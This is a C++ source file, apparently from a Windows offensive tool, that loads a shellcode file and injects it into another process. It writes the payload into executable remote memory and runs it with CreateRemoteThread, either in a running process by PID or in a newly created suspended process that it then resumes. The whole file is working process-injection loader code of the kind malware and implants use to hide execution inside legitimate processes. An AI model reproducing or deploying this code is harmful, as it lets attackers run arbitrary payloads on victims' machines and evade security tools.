#include "Common.h"
#include "ShellcodeUtils.h"
#include "Logger.h"

bool ReadFileToMemory(const wchar_t* path, std::vector<BYTE>& out)
{
    out.clear();

    HANDLE h = CreateFileW(
        path,
        GENERIC_READ,
        FILE_SHARE_READ,
        nullptr,
        OPEN_EXISTING,
        0,
        nullptr);

    if (h == INVALID_HANDLE_VALUE)
    {
        Log(L"[-] ReadFileToMemory failed: %s err=%lu", path, GetLastError());
        return false;
    }

    LARGE_INTEGER fileSize{};
    if (!GetFileSizeEx(h, &fileSize) || fileSize.QuadPart <= 0 || fileSize.QuadPart > 0x7FFFFFFF)
    {
        Log(L"[-] ReadFileToMemory invalid file size: %s", path);
        CloseHandle(h);
        return false;
    }

    out.resize((size_t)fileSize.QuadPart);

    DWORD read = 0;
    bool ok = ReadFile(h, out.data(), (DWORD)fileSize.QuadPart, &read, nullptr)
        && read == (DWORD)fileSize.QuadPart;

    CloseHandle(h);

    if (!ok)
        Log(L"[-] ReadFileToMemory partial/failed: %s", path);

    return ok;
}

static LPVOID AllocateExecMemory(HANDLE hProc, SIZE_T size)
{
    if (!hProc || size == 0)
        return nullptr;

    LPVOID p = VirtualAllocEx(
        hProc,
        (LPVOID)0x10000,
        size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);

    if (!p)
    {
        p = VirtualAllocEx(
            hProc,
            nullptr,
            size,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE);
    }

    if (!p)
    {
        Log(L"[-] VirtualAllocEx failed: %lu", GetLastError());
        return nullptr;
    }

    DWORD oldProtect = 0;
    if (!VirtualProtectEx(hProc, p, size, PAGE_EXECUTE_READWRITE, &oldProtect))
    {
        Log(L"[-] VirtualProtectEx failed: %lu", GetLastError());
        VirtualFreeEx(hProc, p, 0, MEM_RELEASE);
        return nullptr;
    }

    return p;
}

bool InjectShellcodeIntoExisting(
    DWORD pid,
    const BYTE* code,
    size_t size)
{
    if (!pid || !code || size == 0)
        return false;

    const DWORD access =
        PROCESS_QUERY_INFORMATION |
        PROCESS_VM_OPERATION |
        PROCESS_VM_READ |
        PROCESS_VM_WRITE |
        PROCESS_CREATE_THREAD;

    HANDLE hProc = OpenProcess(access, FALSE, pid);
    if (!hProc)
    {
        Log(L"[-] Inject: OpenProcess(%lu) failed: %lu", pid, GetLastError());
        return false;
    }

    LPVOID remote = AllocateExecMemory(hProc, size);
    if (!remote)
    {
        CloseHandle(hProc);
        return false;
    }

    SIZE_T written = 0;
    if (!WriteProcessMemory(hProc, remote, code, size, &written) || written != size)
    {
        Log(L"[-] Inject: WriteProcessMemory failed: %lu", GetLastError());
        VirtualFreeEx(hProc, remote, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return false;
    }

    LPTHREAD_START_ROUTINE entry =
        reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remote));

    HANDLE hThread = CreateRemoteThread(
        hProc,
        nullptr,
        0,
        entry,
        nullptr,
        0,
        nullptr);

    if (!hThread)
    {
        Log(L"[-] Inject: CreateRemoteThread failed: %lu", GetLastError());
        VirtualFreeEx(hProc, remote, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return false;
    }

    Log(L"[+] Injected into PID %lu at %p", pid, (void*)remote);

    CloseHandle(hThread);
    CloseHandle(hProc);

    return true;
}

bool InjectShellcodeAndResume(
    NewProcInfo& info,
    const BYTE* code,
    size_t size)
{
    if (!info.hProcess || !info.hThread || !code || size == 0)
        return false;

    LPVOID remote = AllocateExecMemory(info.hProcess, size);

    if (!remote)
    {
        if (info.hThread)
        {
            ResumeThread(info.hThread);
            CloseHandle(info.hThread);
            info.hThread = nullptr;
        }

        if (info.hProcess)
        {
            CloseHandle(info.hProcess);
            info.hProcess = nullptr;
        }

        return false;
    }

    SIZE_T written = 0;

    if (!WriteProcessMemory(info.hProcess, remote, code, size, &written) || written != size)
    {
        Log(L"[-] Inject suspended: WriteProcessMemory failed: %lu", GetLastError());

        VirtualFreeEx(info.hProcess, remote, 0, MEM_RELEASE);

        if (info.hThread)
        {
            ResumeThread(info.hThread);
            CloseHandle(info.hThread);
            info.hThread = nullptr;
        }

        if (info.hProcess)
        {
            CloseHandle(info.hProcess);
            info.hProcess = nullptr;
        }

        return false;
    }

    LPTHREAD_START_ROUTINE entry =
        reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remote));

    HANDLE hThread = CreateRemoteThread(
        info.hProcess,
        nullptr,
        0,
        entry,
        nullptr,
        0,
        nullptr);

    if (!hThread)
    {
        Log(L"[-] Inject suspended: CreateRemoteThread failed: %lu", GetLastError());

        VirtualFreeEx(info.hProcess, remote, 0, MEM_RELEASE);

        if (info.hThread)
        {
            ResumeThread(info.hThread);
            CloseHandle(info.hThread);
            info.hThread = nullptr;
        }

        if (info.hProcess)
        {
            CloseHandle(info.hProcess);
            info.hProcess = nullptr;
        }

        return false;
    }

    ResumeThread(info.hThread);

    Log(L"[+] Injected into suspended PID %lu and resumed: %p", info.processId, (void*)remote);

    CloseHandle(hThread);

    if (info.hThread)
        CloseHandle(info.hThread);

    if (info.hProcess)
        CloseHandle(info.hProcess);

    info.hThread = nullptr;
    info.hProcess = nullptr;

    return true;
}